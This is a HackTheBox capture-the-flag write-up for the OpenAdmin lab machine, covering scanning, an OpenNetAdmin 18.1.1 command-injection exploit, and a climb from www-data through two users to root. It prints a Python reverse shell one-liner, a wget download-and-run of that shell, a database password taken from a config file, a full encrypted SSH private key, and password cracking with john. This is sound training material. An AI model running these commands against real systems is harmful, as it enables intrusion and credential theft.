HTB OpenAdmin writeup

HackTheBox OpenAdmin machine write up, easy Linux machine. The process as always: Scan –> Initial foothold –> Own User –> Own Root.

Initial Scan

# added to hosts as 10.10.10.171    OpenAdmin
$ sudo nmap -sV -sC -sT -O -o nmapinitial OpenAdmin

Scan results

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-07 02:44 CET
Nmap scan report for OpenAdmin (10.10.10.171)
Host is up (0.12s latency).
Not shown: 995 closed ports
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp    open     tcpwrapped
1063/tcp  filtered kyoceranetdev
10621/tcp filtered unknown
15003/tcp filtered unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/7%OT=22%CT=1%CU=35292%PV=Y%DS=2%DC=I%G=Y%TM=5E13E2EC
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.42 seconds

We got an OpenSSH server, a webserver running Apache and several filtered ports.

Website on port 80

The website on port 80 looks like the default, lets launch dirbuster in the background just in case.

Dirbuster Results

There are two paths that looks promising, /music/ and /ona/. /music/ does not seem to contain anything besides the link to /ona/, lets analyze /ona/.

OpenNetAdmin Web

We have an OpenNetAdmin v18.1.1, which seems to be outdated. Searching for OpenNetAdmin 18.1.1 in Google gives us info about an existing command injection vulnerability, and two potential ways to exploit it, via the Metasploit module or a bash script.

OpenNetAdmin Vuln Screnshoot of the Metasploit module in ExploitDB.

Results of searchsploit:

~$ searchsploit OpenNetAdmin
--------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                 |  Path
                                                               | (/usr/share/exploitdb/)
--------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                  | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)   | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                    | exploits/php/webapps/47691.sh
--------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

The module is not in Metasploit, we can add it using the instructions provided in this article or use the bash script.

Initial foothold

I will use the Metasploit module for the convenience, lets add it and try it.

$ mkdir -p ~/.msf4/modules/exploits/php/webapps/
$ cp /usr/share/exploitdb/exploits/php/webapps/47772.rb ~/.msf4/modules/exploits/php/webapps/
$ sudo updatedb
$ msfconsole

       =[ metasploit v5.0.67-dev                          ]
+ -- --=[ 1958 exploits - 1093 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search opennetadmin

Matching Modules
================

   #  Name                       Disclosure Date  Rank       Check  Description
   -  ----                       ---------------  ----       -----  -----------
   0  exploit/php/webapps/47772  2019-11-19       excellent  Yes    OpenNetAdmin Ping Command Injection


msf5 > use 0
msf5 exploit(php/webapps/47772) > show options

Module options (exploit/php/webapps/47772):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /ona/login.php   yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf5 exploit(php/webapps/47772) >

After configuring it I could not manage to make it work, so lets use the script.

~$ /usr/share/exploitdb/exploits/php/webapps/47691.sh http://openadmin/ona/

$ who
joanna   pts/0        Jan  7 15:52 (10.10.14.143)
jimmy    pts/1        Jan  7 15:52 (10.10.14.42)
jimmy    pts/2        Jan  7 15:52 (10.10.14.244)
jimmy    pts/4        Jan  7 15:53 (10.10.15.102)

$ whoami
www-data

We got an initial foothold.

User

We have a low level shell with www-data privileges, lets try to escalate to user.

First lets get a better shell:


## On our computer
# Create reverseshell
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.75",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); >shell.py'

# Webserver to send file to target machine, wait for connections with nc
sudo python3 -m http.server 80
nc -lvp 1337

## On the server, create a hidden dir so we do not interfere with other people
www-data@openadmin:...$ mkdir /tmp/.my
www-data@openadmin:...$ wget -O /tmp/.my/shell.py http://10.10.15.75:80/shell.py
www-data@openadmin:...$ python3 /tmp/.my/shell.py

We know that the server is Apache, the first idea that comes to my mind is view the website config files, is case there are any other websites, and to obtain the path from where the files are being served. Listing the sites-available directory gives us an interesting piece of info:

$ ls -lshA /etc/apache2/sites-available
total 16K
8.0K -rw-r--r-- 1 root root 6.2K Jul 16 18:14 default-ssl.conf
4.0K -rw-r--r-- 1 root root  303 Nov 23 17:13 internal.conf
4.0K -rw-r--r-- 1 root root 1.3K Nov 22 14:24 openadmin.conf


$ cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

The internal site seems interesting, using curl on the machine gives us a login form. I cannot think of anything easily exploitable (let's leave SQLi or other web attacks as a last resource) so lets look for other things.

At this point I tried running several enumeration tools but none seemed to give any interesing info, after a lot of lsing and cating around and many dead ends I finally found a potential password in /opt/ona/www/local/config/database_settings.inc.php:

$ cat /opt/ona/www/local/config/database*
<?php

$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

Let's try the password with SSH with the three users we know are in the machine, root, jimmy y joanna (as seen in /home)

~/htb/OpenAdmin$ ssh jimmy@OpenAdmin
The authenticity of host 'openadmin (10.10.10.171)' can't be established.
ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openadmin,10.10.10.171' (ECDSA) to the list of known hosts.
jimmy@openadmin's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Jan  9 19:40:21 UTC 2020

  System load:  0.26              Processes:             435
  Usage of /:   49.2% of 7.81GB   Users logged in:       2
  Memory usage: 41%               IP address for ens160: 10.10.10.171
  Swap usage:   0%

  => There is 1 zombie process.


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Jimmy home directory is empty, but remember the internal directory inside /var/www? Lets have a look now:


jimmy@openadmin:/var/www/internal$ ls -lshA
total 20K
4.0K -rwxrwxr-x 1 jimmy jimmy     918 Jan  9 19:33 a.php
4.0K -rwxrwxr-x 1 jimmy internal 3.2K Nov 22 23:24 index.php
4.0K -rwxrwxr-x 1 jimmy internal  185 Nov 23 16:37 logout.php
4.0K -rwxrwxr-x 1 jimmy internal  339 Nov 23 17:40 main.php
4.0K -rwxrwxr-x 1 jimmy jimmy     916 Jan  9 19:40 test.php
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
[...]
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>

The index.php consists of a login form where if the user and password match we get redirected to /main.php. Let's see the contents of main.php:

jimmy@openadmin:/var/www/internal$ cat main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

As seen in the code, if we are logged in the server will send us joanna's private key. We can just comment the check ("//” before the if(!is…) ) and access the file using curl. Remember it is good practice to undo your changes or reset the machine after you are done so other users do not get affected.

jimmy@openadmin:/var/www/internal$ cp main.php .main.php
jimmy@openadmin:/var/www/internal$ nano .main.php
jimmy@openadmin:/var/www/internal$ curl 127.0.0.1:52846/.main.php

<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

jimmy@openadmin:/var/www/internal$ rm .main.php

We will save the key as joanna.key, but because it is encrypted we will need to crack it first.

~/htb/OpenAdmin$ nano joanna.key
~/htb/OpenAdmin$ chmod 400 joanna.key
~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
# We do not know the password, ninja does not work
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':
Enter passphrase for key 'joanna.key':

~/htb/OpenAdmin$ python3 /usr/share/john/ssh2john.py joanna.key >pw
  /usr/share/john/ssh2john.py:103: DeprecationWarning: decodestring() is a deprecated alias since Python 3.1, use decodebytes()
    data = base64.decodestring(data)

~/htb/OpenAdmin$ john --wordlist=/usr/share/wordlists/rockyou.txt pw
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (joanna.key)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:08 DONE (2020-01-10 01:16) 0.1219g/s 1748Kp/s 1748Kc/s 1748KC/sa6_123..*7¡Vamos!
Session completed

We got a match, lets test it.

~/htb/OpenAdmin$ ssh joanna@OpenAdmin -i joanna.key
Enter passphrase for key 'joanna.key':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]
Last login: Thu Jan  2 21:12:40 2020 from 10.10.X.X
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
c9b2cf0************************

And we finally got the user flag.

Root

Using the tool Linux Smart Enumeration, we discover that we can execute sudo /bin/nano /opt/priv without providing a password. Using the following nano GTFBin, we get a root shell, and with it the root flag.